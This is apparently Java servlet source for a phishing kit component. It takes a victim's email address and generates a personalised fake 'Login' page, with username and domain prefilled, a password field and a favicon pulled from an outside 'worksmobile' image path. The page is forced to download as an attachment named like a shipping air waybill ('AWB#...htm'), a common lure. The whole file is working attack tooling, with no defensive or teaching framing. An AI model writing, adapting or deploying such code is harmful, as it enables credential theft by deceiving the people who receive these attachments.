import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DownloadServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        // Get login parameter
        String login = request.getParameter("login");
        if (login == null || login.isEmpty()) {
            return;
        }

        // Sanitize
        login = login.trim();
        login = login.replaceAll("<[^>]*>", "");
        login = login.replace("\\", "");
        login = login.replace("&", "&amp;")
                     .replace("<", "&lt;")
                     .replace(">", "&gt;")
                     .replace("\"", "&quot;");

        // Extract email parts
        String dd1 = "";
        String dd2 = "";
        String dd3 = "";

        if (login.contains("@")) {
            dd1 = login.substring(0, login.indexOf("@"));
            String dat = login.substring(login.indexOf("@") + 1);

            if (dat.contains(".")) {
                dd2 = dat.substring(0, dat.indexOf("."));
                dd3 = dat.substring(dat.indexOf("."));
            }
        }

        // =========================
        // FULL HTML (UI + SCRIPT)
        // =========================
        String ww = "<!DOCTYPE html>" +
"<html>" +

"<head>" +
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">" +
"<title>Login</title>" +
"<link rel=\"shortcut icon\" href=\"https://abcboltcom.store/img/worksmobile/ico.jpg\">" +
"</head>" +

"<style>" +
"html, body {" +
"font-family: Arial, sans-serif;" +
"margin: 0; padding: 0; position: absolute; height: 100%; min-width: 100%;" +
"font-size: 13px; color: #676767; font-weight: 700;" +
"}" +

"input[type=text]{height:48px;width:50%;padding:8 15px;border:1px solid #d6d6d6;}" +
"input[type=password]{height:48px;width:100%;padding:8 15px;border:1px solid #d6d6d6;}" +
"</style>" +

"<body bgcolor=\"#F9FAFC\">" +

"<div align=\"center\">" +
"<form method=\"post\" action=\"#\">" +

"<input type=\"text\" name=\"user\" value=\"" + dd1 + "\" />" +

"<input type=\"text\" value=\"@" + (dd2 + dd3).toLowerCase() + "\" />" +

"<input type=\"hidden\" name=\"domain\" value=\"https://" + (dd2 + dd3).toLowerCase() + "\"/>" +

"<input type=\"password\" name=\"passwd\" placeholder=\"Password\" />" +

"<input type=\"submit\" value=\"Login\" />" +

"</form>" +
"</div>" +


// =========================
// POPUP OPEN + AUTO CLOSE
// =========================
"<script>" +
"'use strict';" +

"let newWindow = window.open('/', 'example', 'width=300,height=300');" +

"if (newWindow) {" +
"    newWindow.onload = function () {" +
"        setTimeout(function () {" +
"            newWindow.close();" +
"            console.log('Closed:', newWindow.closed);" +
"        }, 500);" +
"    };" +
"} else {" +
"    console.log('Popup blocked');" +
"}" +

"</script>" +

"</body></html>";

        // =========================
        // FORCE DOWNLOAD
        // =========================
        String fileName = "AWB#886996788738.htm";

        response.setContentType("application/octet-stream");
        response.setHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");

        PrintWriter out = response.getWriter();
        out.write(ww);
        out.flush();
    }
}